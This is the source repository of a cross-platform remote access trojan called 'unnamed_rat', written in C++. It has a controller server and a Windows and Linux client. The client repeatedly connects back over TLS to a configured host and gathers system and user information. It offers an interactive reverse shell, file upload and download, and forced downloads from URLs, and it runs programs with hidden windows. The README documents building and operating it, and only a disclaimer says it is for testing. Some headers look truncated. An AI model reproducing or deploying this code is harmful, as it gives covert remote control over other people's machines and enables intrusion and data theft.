├── .gitignore ├── Server ├── Linux │ ├── makefile │ ├── makenotify │ ├── Commands.hpp │ ├── Misc.hpp │ ├── headers.hpp │ ├── Server.hpp │ ├── main.cpp │ └── Misc.cpp └── Windows │ ├── makefile │ ├── Commands.hpp │ ├── Misc.hpp │ ├── headers.hpp │ ├── main.cpp │ ├── Server.hpp │ ├── Misc.cpp │ └── Server.cpp ├── Client ├── Linux │ ├── makefile │ ├── HttpDownload.hpp │ ├── Info.hpp │ ├── Misc.hpp │ ├── Commands.hpp │ ├── headers.hpp │ ├── Client.hpp │ ├── main.cpp │ ├── Misc.cpp │ ├── Info.cpp │ ├── HttpDownload.cpp │ └── Client.cpp └── Windows │ ├── makefile │ ├── HttpDownload.hpp │ ├── Info.hpp │ ├── Misc.hpp │ ├── Commands.hpp │ ├── headers.hpp │ ├── Client.hpp │ ├── main.cpp │ ├── Misc.cpp │ ├── Info.cpp │ ├── HttpDownload.cpp │ └── Client.cpp ├── README.md └── README.es.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.geany 2 | TODO 3 | Server/Linux/*.o 4 | Server/Linux/server 5 | Client/Linux/*.o 6 | Client/Linux/client 7 | -------------------------------------------------------------------------------- /Server/Linux/makefile: -------------------------------------------------------------------------------- 1 | LINK=-pthread -lssl -lcrypto 2 | CFLAG=-Wall -Wextra -std=c++11 -pedantic -g 3 | OBJ=main.o Misc.o Server.o 4 | BIN=server 5 | CC=g++ 6 | RM=/bin/rm 7 | 8 | %.o: %.cpp 9 | $(CC) $(CFLAG) -c -o $@ $< 10 | $(BIN): $(OBJ) 11 | $(CC) -o $(BIN) $(OBJ) $(LINK) 12 | clean: 13 | $(RM) -f *.o $(BIN) 14 | 15 | 16 | -------------------------------------------------------------------------------- /Client/Linux/makefile: -------------------------------------------------------------------------------- 1 | LINK=-pthread -lssl -lcrypto 2 | CFLAG=-Wall -Wextra -std=c++11 -pedantic 3 | OBJ=main.o Misc.o Client.o HttpDownload.o Info.o 4 | BIN=Client 5 | CC=g++ 6 | RM=/bin/rm 7 | 8 | %.o: %.cpp 9 | $(CC) $(CFLAG) -c -o $@ $< 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAG) -o $(BIN) $(OBJ) $(LINK) 13 | clean: 14 | $(RM) -f *.o $(BIN) 15 | 16 | -------------------------------------------------------------------------------- /Client/Linux/HttpDownload.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __DOWNLOAD 2 | #define __DOWNLOAD 3 | 4 | #include "headers.hpp" 5 | 6 | class Downloader{ 7 | protected: 8 | int sckDownloadSocket; 9 | public: 10 | bool isSSL = false; 11 | bool bFlag = false; 12 | 13 | int InitSocket(const char*, const char*); 14 | bool Download(const char*, std::string&); 15 | }; 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /Server/Linux/makenotify: -------------------------------------------------------------------------------- 1 | LINK=-pthread -lssl -lcrypto -lnotify 2 | CFLAG=-Wall -Wextra -std=c++11 -pedantic -g `pkg-config --cflags --libs gtk+-2.0` 3 | OBJ=main.o Misc.o Server.o 4 | BIN=server 5 | CC=g++ 6 | RM=/bin/rm 7 | 8 | %.o: %.cpp 9 | $(CC) $(CFLAG) -c -o $@ $< 10 | $(BIN): $(OBJ) 11 | $(CC) $(CFLAG) -o $(BIN) $(OBJ) $(LINK) 12 | clean: 13 | $(RM) -f *.o $(BIN) 14 | 15 | 16 | -------------------------------------------------------------------------------- /Server/Windows/makefile: -------------------------------------------------------------------------------- 1 | LINK=-pthread -lssl -lcrypto -lws2_32 -static-libgcc -static-libstdc++ 2 | CFLAG=-Wall -Wextra -std=c++11 -pedantic -g 3 | OBJ=main.o Misc.o Server.o 4 | BIN=server.exe 5 | CC=x86_64-w64-mingw32-g++ 6 | RM=rm 7 | 8 | %.o: %.cpp 9 | $(CC) $(CFLAG) -c -o $@ $< 10 | $(BIN): $(OBJ) 11 | $(CC) -o $(BIN) $(OBJ) $(LINK) 12 | clean: 13 | $(RM) -f *.o $(BIN) 14 | 15 | 16 | -------------------------------------------------------------------------------- /Client/Windows/makefile: -------------------------------------------------------------------------------- 1 | LINK=-lws2_32 -pthread -lssl -lcrypto -lnetapi32 2 | CFLAG=-Wall -Wextra -std=c++11 -pedantic -g 3 | OBJ=main.o Misc.o Client.o HttpDownload.o Info.o 4 | BIN=Client.exe 5 | CC=x86_64-w64-mingw32-g++.exe 6 | RM=rm 7 | 8 | %.o: %.cpp 9 | $(CC) $(CFLAG) -c -o $@ $< 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) -o $(BIN) $(OBJ) $(LINK) 13 | clean: 14 | $(RM) *.o $(BIN) 15 | 16 | 17 | -------------------------------------------------------------------------------- /Client/Windows/HttpDownload.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __DOWNLOAD 2 | #define __DOWNLOAD 3 | 4 | #include "headers.hpp" 5 | 6 | class Downloader{ 7 | protected: 8 | SOCKET sckDownloadSocket = INVALID_SOCKET; 9 | public: 10 | bool isSSL = false; 11 | bool bFlag = false; 12 | bool isRetr = false; 13 | bool CheckSslReturnCode(SSL*, int); 14 | SOCKET InitSocket(const char*, const char*); 15 | bool Download(const char*, std::string&); 16 | }; 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /Client/Linux/Info.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __INFO 2 | #define __INFO 3 | 4 | #include "headers.hpp" 5 | 6 | struct sPartition{ 7 | char cPartition[20]; 8 | double dParitionSize; 9 | }; 10 | 11 | struct sUsers{ 12 | char cUsername[30]; 13 | char cShell[128]; 14 | }; 15 | 16 | void Users(std::vector&); 17 | void Partitions(std::vector&); 18 | void Cpu(char*&, char*&); 19 | int Mem(); 20 | void Uname(char*& cOutput); 21 | int UserName(char*&); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /Client/Windows/Info.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __INFO 2 | #define __INFO 3 | 4 | #include "headers.hpp" 5 | 6 | struct sDrives{ 7 | char cLetter[10]; 8 | char cLabel[50]; 9 | char cType[20]; 10 | double dFree; 11 | double dTotal; 12 | }; 13 | 14 | struct sUsers{ 15 | char cUsername[UNLEN + 1]; 16 | bool isAdmin; 17 | }; 18 | 19 | void Users(std::vector&); 20 | void Drives(std::vector&); 21 | void Cpu(char*&, char*&); 22 | void OS(char*&); 23 | int Mem(); 24 | void UserName(char*&); 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /Client/Linux/Misc.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __MISC 2 | #define __MISC 3 | #include "headers.hpp" 4 | namespace Misc{ 5 | u64 StrToUint(const char*); 6 | u_int StrLen(const char*); 7 | void strSplit(const std::string&, char, std::vector&, int); 8 | void strReplaceSingleChar(std::string&, char, char); 9 | template 10 | void strToLower(std::string&); 11 | u64 GetFileSize(std::string); 12 | bool FileExists(const char*); 13 | #ifdef _DEBUG 14 | void ProgressBar(u64, u64); 15 | #endif 16 | void Free(char*&, std::size_t); 17 | } 18 | #endif 19 | -------------------------------------------------------------------------------- /Server/Linux/Commands.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __COMMANDS 2 | #define __COMMANDS 3 | #include "headers.hpp" 4 | 5 | namespace CommandCodes{ 6 | c_char cFileTransferCancel[] = "f@0"; 7 | c_char cFileTranferBegin[] = "f@1"; 8 | c_char cReqOS[] = "c@0"; 9 | c_char cReqBasicInfo[] = "i@0"; 10 | c_char cReqFullInfo[] = "i@1"; 11 | c_char cClose[] = "s@0@0"; 12 | c_char cShellError[] = "x@0"; 13 | c_char cShellEnd[] = "x@2"; 14 | c_char cShell[] = "x@"; 15 | c_char cDownload[] = "d@"; 16 | c_char cUpload[] = "u@"; 17 | c_char cHttpd[] = "h@"; 18 | } 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /Server/Windows/Commands.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __COMMANDS 2 | #define __COMMANDS 3 | #include "headers.hpp" 4 | 5 | namespace CommandCodes{ 6 | c_char cFileTransferCancel[] = "f@0"; 7 | c_char cFileTranferBegin[] = "f@1"; 8 | c_char cReqOS[] = "c@0"; 9 | c_char cReqBasicInfo[] = "i@0"; 10 | c_char cReqFullInfo[] = "i@1"; 11 | c_char cClose[] = "s@0@0"; 12 | c_char cShellError[] = "x@0"; 13 | c_char cShellEnd[] = "x@2"; 14 | c_char cShell[] = "x@"; 15 | c_char cDownload[] = "d@"; 16 | c_char cUpload[] = "u@"; 17 | c_char cHttpd[] = "h@"; 18 | } 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /Client/Windows/Misc.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __MISC 2 | #define __MISC 3 | #include "headers.hpp" 4 | namespace Misc{ 5 | u64 StrToUint(const char*); 6 | u_int StrLen(const char*); 7 | void strSplit(const std::string&, char, std::vector&, int); 8 | void strReplaceSingleChar(std::string&, char, char); 9 | template 10 | void strToLower(std::string&); 11 | u64 GetFileSize(std::string); 12 | bool FileExists(const char*); 13 | #ifdef _DEBUG 14 | void ProgressBar(u64, u64); 15 | #endif 16 | void Free(char*&, std::size_t); 17 | bool Execute(const char*, int); 18 | } 19 | #endif 20 | -------------------------------------------------------------------------------- /Client/Linux/Commands.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __COMMANDS 2 | #define __COMMANDS 3 | 4 | namespace CommandCodes{ 5 | c_char cFileTransferCancel[] = "f@0"; 6 | c_char cFileTranferBegin[] = "f@1"; 7 | c_char cFileError[] = "f@0"; 8 | c_char cFileSize[] = "01"; 9 | c_char cReqOS[] = "c@0"; 10 | c_char cReqInfo[] = "i"; 11 | c_char cClose[] = "s@0"; 12 | c_char cShellRunning[] = "x@1"; 13 | c_char cShellError[] = "x@0"; 14 | c_char cShellEnd[] = "x@2"; 15 | c_char cShell[] = "x"; 16 | c_char cDownload[] = "d"; 17 | c_char cUpload[] = "u"; 18 | c_char cHttpd[] = "h"; 19 | } 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /Server/Linux/Misc.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __MISC 2 | #define __MISC 3 | #include "headers.hpp" 4 | namespace Misc{ 5 | void PrintTable(std::vector&, std::vector&, const char); 6 | u64 StrToUint(const char*); 7 | u_int StrLen(const char*); 8 | int SplitSize(const std::string&, char); 9 | void strSplit(const std::string&, char, std::vector&, int); 10 | void strReplaceSingleChar(std::string&, char, char); 11 | void strToLower(std::string&); 12 | u64 GetFileSize(std::string); 13 | void ProgressBar(u64 value, u64 total); 14 | void Free(char*&, std::size_t); 15 | const char* Msg(int); 16 | } 17 | #endif 18 | -------------------------------------------------------------------------------- /Server/Windows/Misc.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __MISC 2 | #define __MISC 3 | #include "headers.hpp" 4 | namespace Misc{ 5 | void PrintTable(std::vector&, std::vector&, const char); 6 | u64 StrToUint(const char*); 7 | u_int StrLen(const char*); 8 | int SplitSize(const std::string&, char); 9 | void strSplit(const std::string&, char, std::vector&, int); 10 | void strReplaceSingleChar(std::string&, char, char); 11 | void strToLower(std::string&); 12 | u64 GetFileSize(std::string); 13 | void ProgressBar(u64 value, u64 total); 14 | void Free(char*&, std::size_t); 15 | const char* Msg(int); 16 | } 17 | #endif 18 | -------------------------------------------------------------------------------- /Client/Windows/Commands.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __COMMANDS 2 | #define __COMMANDS 3 | 4 | namespace CommandCodes{ 5 | c_char cFileTransferCancel[] = "f@0"; 6 | c_char cFileTransferBegin[] = "f@1"; 7 | c_char cFileError[] = "f@0"; 8 | c_char cFileSize[] = "01"; 9 | c_char cReqOS[] = "c@0"; 10 | c_char cReqInfo[] = "i"; 11 | c_char cClose[] = "s@0"; 12 | c_char cShellRunning[] = "x@1"; 13 | c_char cShellError[] = "x@0"; 14 | c_char cShellEnd[] = "x@2"; 15 | c_char cShell[] = "x"; 16 | c_char cDownload[] = "d"; 17 | c_char cUpload[] = "u"; 18 | c_char cHttpd[] = "h"; 19 | } 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /Client/Windows/headers.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __HEADERS 2 | #define __HEADERS 3 | #define _DEBUG 4 | #include 5 | #include 6 | #ifdef _DEBUG 7 | #include 8 | #include 9 | #endif 10 | 11 | #include 12 | #include 13 | #ifndef _WIN32_WINNT 14 | #define _WIN32_WINNT 0x0601 15 | #endif 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | 32 | #ifdef _DEBUG 33 | #define error() std::cout<<"ErrorCode ["< 8 | #endif 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | #include 30 | 31 | #ifdef _DEBUG 32 | #include 33 | #include 34 | extern int errno; 35 | #define error() std::cout<<"Sys ErrorCode ["< 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | extern bool bSignalFlag; 28 | #define error() std::cout<<"Error["<NullClients(); 35 | if(srvServer->Listen()){ 36 | srvServer->thStartHandler(); 37 | } 38 | delete srvServer; 39 | srvServer = nullptr; 40 | BIO_sock_cleanup(); 41 | ERR_free_strings(); 42 | EVP_cleanup(); 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /Client/Linux/main.cpp: -------------------------------------------------------------------------------- 1 | #include "headers.hpp" 2 | #include "Client.hpp" 3 | #include "Misc.hpp" 4 | 5 | #ifdef _DEBUG 6 | int main(int argc ,char **argv){ 7 | if(argc != 3){ 8 | std::cout<<"Use "<isKeepRunning){ 23 | #ifdef _DEBUG 24 | if(Cli->Connect(argv[1], argv[2])){ 25 | std::cout<<"Connected!!!\n"; 26 | #else 27 | if(Cli->Connect("YOUR HOST", "PORT")){ 28 | #endif 29 | if(SSL_write(Cli->sslSocket, "01", 2) > 0){ 30 | while(1){ 31 | int iBytes = SSL_read(Cli->sslSocket, cBuffer, 1023); 32 | if(iBytes > 2){ 33 | cBuffer[iBytes] = '\0'; 34 | if(!Cli->ParseCommand(cBuffer)){ 35 | Cli->CloseConnection(); 36 | Cli->isKeepRunning = false; 37 | break; 38 | } 39 | } else { 40 | if(!Cli->CheckSslReturnCode(iBytes)){ 41 | Cli->CloseConnection(); 42 | break; 43 | } 44 | usleep(100000); 45 | } 46 | } 47 | } else { 48 | Cli->CloseConnection(); 49 | } 50 | } else { 51 | #ifdef _DEBUG 52 | sleep(3); 53 | #else 54 | sleep(60); 55 | #endif 56 | } 57 | } 58 | Misc::Free(cBuffer, 1024); 59 | delete Cli; 60 | Cli = nullptr; 61 | #ifdef _DEBUG 62 | ERR_free_strings(); 63 | #endif 64 | EVP_cleanup(); 65 | return 0; 66 | } 67 | -------------------------------------------------------------------------------- /Server/Linux/headers.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __HEADERS 2 | #define __HEADERS 3 | 4 | //Uncomment both to make program beautiful 5 | #define _COLOR 6 | //#define _NOTIFY 7 | 8 | //LANG 9 | //#define ES 10 | #define EN 11 | 12 | //Termux? 13 | //#define _TERMUX 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | #ifdef _NOTIFY 34 | //Require libnotify-dev 35 | #include 36 | #endif 37 | 38 | #include 39 | #include 40 | 41 | extern int errno; 42 | extern bool bSignalFlag; 43 | #define error() std::cout<<"Error["<isKeepRunning){ 30 | #ifdef _DEBUG 31 | if(Cli->Connect(argv[1], argv[2])){ 32 | std::cout<<"Connected!!!\n"; 33 | #else 34 | if(Cli->Connect("YOUR HOST", "PORT")){ 35 | #endif 36 | TryAgain: 37 | iBytes = SSL_write(Cli->sslSocket, "00", 2); 38 | if(iBytes > 0){ 39 | while(1){ 40 | iBytes = SSL_read(Cli->sslSocket, cBuffer, 1023); 41 | if(iBytes > 2){ 42 | cBuffer[iBytes] = '\0'; 43 | if(!Cli->ParseCommand(cBuffer)){ 44 | Cli->CloseConnection(); 45 | Cli->isKeepRunning = false; 46 | break; 47 | } 48 | } else { 49 | if(!Cli->CheckSslReturnCode(iBytes)){ 50 | Cli->CloseConnection(); 51 | break; 52 | } 53 | Sleep(100); 54 | } 55 | } 56 | } else { 57 | if(!Cli->CheckSslReturnCode(iBytes)){ 58 | Cli->CloseConnection(); 59 | break; 60 | } 61 | Sleep(1000); 62 | goto TryAgain; 63 | } 64 | } else { 65 | #ifdef _DEBUG 66 | Sleep(3000); 67 | #else 68 | Sleep(60000); 69 | #endif 70 | } 71 | } 72 | Misc::Free(cBuffer, 1024); 73 | delete Cli; 74 | Cli = nullptr; 75 | #ifdef _DEBUG 76 | ERR_free_strings(); 77 | #endif 78 | EVP_cleanup(); 79 | WSACleanup(); 80 | return 0; 81 | } 82 | -------------------------------------------------------------------------------- /Server/Windows/Server.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __SERVER 2 | #define __SERVER 3 | #include "headers.hpp" 4 | struct Client_Struct{ 5 | SSL *sslSocket; 6 | int iID; 7 | int sckClient; 8 | std::string strIP; 9 | std::string strOS; 10 | bool isFlag; 11 | bool isConnected; 12 | }; 13 | 14 | struct bio_addrinfo_st { 15 | int bai_family; 16 | int bai_socktype; 17 | int bai_protocol; 18 | size_t bai_addrlen; 19 | struct sockaddr *bai_addr; 20 | struct bio_addrinfo_st *bai_next; 21 | }; 22 | 23 | union bio_addr_st { 24 | struct sockaddr sa; 25 | struct sockaddr_in s_in; 26 | 27 | }; 28 | 29 | class Server{ 30 | private: 31 | std::mutex mtxMutex; 32 | SSL_CTX *sslCTX = nullptr; 33 | BIO *bioServer = nullptr; 34 | SOCKET sckSocket = INVALID_SOCKET; 35 | public: 36 | struct Client_Struct *Clients[Max_Clients]; 37 | int iClientsOnline = 0; 38 | u_int uiLocalPort = DefaultPort; 39 | bool isReceiveThread = false; 40 | bool isCmdThread = false; 41 | bool isReadingShell = false; 42 | Server() : uiLocalPort(DefaultPort) {} 43 | Server(u_int uiPortNumber) : uiLocalPort(uiPortNumber) {} 44 | ~Server(){ 45 | if(sslCTX){ 46 | SSL_CTX_free(sslCTX); 47 | sslCTX = nullptr; 48 | } 49 | if(bioServer){ 50 | BIO_free_all(bioServer); 51 | bioServer = nullptr; 52 | } 53 | if(sckSocket != INVALID_SOCKET){ 54 | BIO_closesocket(sckSocket); 55 | sckSocket = INVALID_SOCKET; 56 | } 57 | } 58 | bool Listen(); 59 | int WaitConnection(char*&); 60 | void thStartHandler(); 61 | void mtxLock(); 62 | void mtxUnlock(); 63 | void ParseClientCommand(const std::string, int); 64 | void ParseMassiveCommand(const std::string); 65 | void ParseBasicInfo(char*&, int); 66 | void PrintClientList(); 67 | void NullClients(); 68 | void FreeClient(int); 69 | void FreeAllClients(); 70 | bool DownloadFile(const std::string, int); 71 | bool SendFile(const std::string, const std::string, int, char); 72 | void threadListener(); 73 | void threadMasterCMD(); 74 | void threadClientPing(); 75 | void threadRemoteCmdOutput(int); 76 | 77 | void Help(const std::string, int); 78 | }; 79 | 80 | #endif 81 | -------------------------------------------------------------------------------- /Server/Linux/main.cpp: -------------------------------------------------------------------------------- 1 | #include "headers.hpp" 2 | #include "Server.hpp" 3 | #include "Misc.hpp" 4 | bool bSignalFlag; 5 | 6 | void CleanEx(int){ 7 | std::cout<<"\nProgram interrupted press enter to exit\n"; 8 | bSignalFlag = true; 9 | } 10 | 11 | int main(int argc, char **argv){ 12 | if(argc < 2){ 13 | std::cout<NullClients(); 61 | signal(SIGPIPE, SIG_IGN); 62 | signal(SIGINT, CleanEx); 63 | if(srvServer->Listen(10)){ 64 | srvServer->thStartHandler(); 65 | } 66 | delete srvServer; 67 | srvServer = nullptr; 68 | #ifdef _NOTIFY 69 | notify_uninit(); 70 | #endif 71 | ERR_free_strings(); 72 | EVP_cleanup(); 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /Client/Linux/Misc.cpp: -------------------------------------------------------------------------------- 1 | #include "Misc.hpp" 2 | 3 | namespace Misc{ 4 | u64 StrToUint(const char *strString){ 5 | u_int uiLen = StrLen(strString); 6 | u_int uiLen2 = uiLen; 7 | u64 uiRet = 0; 8 | for(u_int uiIte0 = 0; uiIte0 < uiLen; uiIte0++){ 9 | u_int uiTlen = 1; 10 | --uiLen2; 11 | for(u_int uiIte = 0; uiIte& vcOut, int iMax){ 27 | int istrLen = strString.length(), iIt = 0, iCounter = 0, iTmp = 0; 28 | for(; iItpubseekoff(0, strmInputFile.end, strmInputFile.in); 65 | pBuf->pubseekpos(0, strmInputFile.in); 66 | strmInputFile.close(); 67 | return uTmp; 68 | } 69 | 70 | void strToLower(std::string& strStr){ 71 | for(u_int iIt=0; iIt= 65 && strStr[iIt] <= 90) ? (strStr[iIt] + 32) : strStr[iIt]; 73 | } 74 | } 75 | 76 | #ifdef _DEBUG 77 | void ProgressBar(u64 value, u64 total){ 78 | int h = 0, hh = 0; 79 | char pb[101]; 80 | memset(pb, 0, 101); 81 | int value2 = ((float)value / (float)total) *100; 82 | for(h=0; h<50; h++){ 83 | for(hh=h; hh<(value2 / 2); hh++, h++){ 84 | pb[hh] = '#'; 85 | } 86 | pb[h] = '_'; 87 | } 88 | pb[50] = '\0'; 89 | std::cout<<'\r'< 0 ? Size : StrLen(Ptr); 96 | memset(Ptr, 0, Size); 97 | delete[] Ptr; 98 | Ptr = nullptr; 99 | } 100 | } 101 | 102 | } 103 | -------------------------------------------------------------------------------- /Client/Windows/Misc.cpp: -------------------------------------------------------------------------------- 1 | #include "Misc.hpp" 2 | 3 | namespace Misc{ 4 | u64 StrToUint(const char *strString){ 5 | u_int uiLen = StrLen(strString); 6 | u_int uiLen2 = uiLen; 7 | u64 uiRet = 0; 8 | for(u_int uiIte0 = 0; uiIte0 < uiLen; uiIte0++){ 9 | u_int uiTlen = 1; 10 | --uiLen2; 11 | for(u_int uiIte = 0; uiIte& vcOut, int iMax){ 27 | int istrLen = strString.length(), iIt = 0, iCounter = 0, iTmp = 0; 28 | for(; iItpubseekoff(0, strmInputFile.end, strmInputFile.in); 65 | pBuf->pubseekpos(0, strmInputFile.in); 66 | strmInputFile.close(); 67 | return uTmp; 68 | } 69 | 70 | void strToLower(std::string& strStr){ 71 | for(u_int iIt=0; iIt= 65 && strStr[iIt] <= 90) ? (strStr[iIt] + 32) : strStr[iIt]; 73 | } 74 | } 75 | 76 | #ifdef _DEBUG 77 | void ProgressBar(u64 value, u64 total){ 78 | int h = 0, hh = 0; 79 | char pb[101]; 80 | memset(pb, 0, 101); 81 | int value2 = ((float)value / (float)total) *100; 82 | for(h=0; h<50; h++){ 83 | for(hh=h; hh<(value2 / 2); hh++, h++){ 84 | pb[hh] = '#'; 85 | } 86 | pb[h] = '_'; 87 | } 88 | pb[50] = '\0'; 89 | std::cout<<'\r'< 0 ? Size : StrLen(Ptr); 96 | memset(Ptr, 0, Size); 97 | delete[] Ptr; 98 | Ptr = nullptr; 99 | } 100 | } 101 | 102 | bool Execute(const char *cCmdLine, int iOpt){ 103 | PROCESS_INFORMATION pi; 104 | STARTUPINFO si; 105 | ZeroMemory( &si, sizeof(si) ); 106 | si.cb = sizeof(si); 107 | //GetStartupInfo(&si); 108 | si.dwFlags = STARTF_USESHOWWINDOW; 109 | si.wShowWindow = iOpt == 1 ? SW_SHOW : SW_HIDE; 110 | char cCmd[1024]; 111 | strncpy(cCmd, cCmdLine, 1023); 112 | int iRet = CreateProcess(nullptr, cCmd, nullptr, nullptr, false, NORMAL_PRIORITY_CLASS|DETACHED_PROCESS, nullptr, nullptr, &si, &pi); 113 | if(iRet != 0){ 114 | return true; 115 | } else { 116 | #ifdef _DEBUG 117 | std::cout<<"CreateProcess error\n"; 118 | error(); 119 | #endif 120 | } 121 | SHELLEXECUTEINFO sei; 122 | sei.cbSize = sizeof(SHELLEXECUTEINFO); 123 | sei.fMask = SEE_MASK_DEFAULT; 124 | sei.lpVerb = "open"; 125 | sei.lpFile = cCmdLine; 126 | sei.hwnd = nullptr; 127 | sei.lpParameters = nullptr; 128 | sei.lpDirectory = nullptr; 129 | sei.hInstApp = nullptr; 130 | sei.nShow = iOpt == 1 ? SW_SHOW : SW_HIDE; 131 | if(ShellExecuteEx(&sei) > 32){ 132 | return true; 133 | } else { 134 | #ifdef _DEBUG 135 | std::cout<<"ShellExecuteEx error\n"; 136 | error(); 137 | #endif 138 | } 139 | if(WinExec(cCmdLine, iOpt == 1 ? SW_SHOW : SW_HIDE) > 31){ 140 | return true; 141 | } 142 | return false; 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) ![Platforms: linux-64 | win-64 | android 9](https://img.shields.io/badge/platform-linux--64%20|%20win--64%20|%20android-success.svg) 2 | 3 | ![Documentacion en Español](https://github.com/d3adlym1nd/unnamed_rat/blob/master/README.es.md) 4 | # unnamed_rat 5 | Multiplatform Command-line Remote Access Tool (RAT) 6 | 7 | ### Dependencies 8 | - libssl 9 | - libnotify (Desktop notifications) - Optional 10 | 11 | ### Client Included functions 12 | - Connection over TLS 13 | - File transfer 14 | - Interactive reverse shell 15 | - Information gathering 16 | - Download files from HTTP(S) servers 17 | 18 | ### Language 19 | Edit `headers.hpp` and uncomment the language you want to use in the program. Languages so far: 20 | ```cpp 21 | //Spanish 22 | #define ES 23 | 24 | //English 25 | #define EN 26 | ``` 27 | 28 | ### Misc 29 | To enable colored output or desktop notification(Linux) on server uncomment the followig lines respectively on `headers.hpp` file 30 | ```cpp 31 | #define _COLOR 32 | 33 | //Linux only 34 | #define _NOTIFY 35 | ``` 36 | To use `notify` feature you have to install `libnotify` on your system and use the make file `makenotify` locate in the server source directory. 37 | Compile with `make -f makenotify`. 38 | 39 | ### Building (Client) 40 | Edit `headers.hpp` and comment/uncomment: 41 | ```cpp 42 | #define _DEBUG 43 | ``` 44 | to enable/disable verbose output to console. Modify `main.cpp` and change the line 45 | ```cpp 46 | Cli->Connect("YOUR HOST", "PORT") 47 | ``` 48 | with your host and port information. If `#define _DEBUG` is uncommented then host and port information must be passed as arguments from command-line. Ex `./Client 127.0.0.1 31337`. Build in client root directory with `make`. 49 | 50 | ### Building (Server) 51 | Generate certificate and private key on server with `openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes`, place both files `cacer.pem` and `prikvey.pem` on server directory. 52 | Edit `headers.hpp` and modify the line 53 | ```cpp 54 | #define Max_Clients 10 55 | ``` 56 | if you want to handle more than 10 clients. Build in server root directory with `make`. 57 | 58 | ### Building Server/Client on Windows 59 | First install Openssl using one of the pre-compiled binaries from here: https://wiki.openssl.org/index.php/Binaries. Download msys2 from here: https://www.msys2.org/. Open the msys2 shell and update packages list with `pacman -Syu`, after that, install requiered packages with: `pacman -S mingw-w64-x86_64-toolchain`, then compile with `mingw32-make`. 60 | 61 | 62 | ### Server (Termux) 63 | To use under termux you have to install dependencies with: 64 | ```sh 65 | pkg install openssl openssl-tool make git nano 66 | ``` 67 | After that edit `headers.hpp` with `nano` and uncomment 68 | ```cpp 69 | #define _TERMUX 70 | ``` 71 | generate certificate and private key as explained above, finally compile with `make`. 72 | 73 | ### Server Commands 74 | Type `help`, `?` or `aiuda` at any time (not in reverse shell) to show available commands 75 | 76 | #### Main Shell 77 | Command | About 78 | ------- | ----- 79 | cli | Execute actions on clients 80 | help, ?, aiuda | Show available commands 81 | exit | Finish server 82 | 83 | #### Client Shell (Interactive Mode) 84 | Command | About 85 | ------- | ----- 86 | upload | Upload a local file to remote client 87 | download | Download a remote file from client 88 | shell | Spawn an interactive reverse shell on remote client 89 | httpd | Force client to download a file from specified url 90 | info | Retrieve information from client 91 | help, ?, aiuda | Show available commands 92 | exit | Close interactive session (Not connection) 93 | - More comming... 94 | 95 | ## Tested on 96 | - Debian 97 | - Arch 98 | - Windows 7 99 | - Windows 10 100 | - Android 9 (Termux) 101 | 102 | ## Contribute 103 | Any contribution its welcome!!! 104 | 105 | ## Screenshots 106 | ![](https://i.imgur.com/r6FewoQ.jpg) 107 | ![](https://i.imgur.com/fUgwlZx.jpg) 108 | ![](https://i.imgur.com/AZqPXmg.jpg) 109 | 110 | ![](https://i.imgur.com/p04wBN1.jpg) 111 | 112 | ![](https://i.imgur.com/NF7cQUC.jpg) 113 | 114 | ![](https://i.imgur.com/7Q4yjxh.jpg) 115 | 116 | ![](https://i.imgur.com/TNRV7kh.jpg) 117 | 118 | # DISCLAIMER 119 | This software is for testing purposes only, designed to run in a controlled environment, it should not be run in a real-world scenario. The developer is not responsible for any damage caused or legal repercussions. Use it at your own risk. 120 | -------------------------------------------------------------------------------- /README.es.md: -------------------------------------------------------------------------------- 1 | [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) ![Platforms: linux-64 | win-64 | android 9](https://img.shields.io/badge/platform-linux--64%20|%20win--64%20|%20android-success.svg) 2 | 3 | ![English Documentation](https://github.com/d3adlym1nd/unnamed_rat/blob/master/README.md) 4 | # unnamed_rat 5 | Herramienta de Administracion Remota multiplataforma desde linea de comandos (RAT) 6 | 7 | ### Dependencias 8 | - libssl 9 | - libnotify (Notificaciones de escritorio) - Opcional 10 | 11 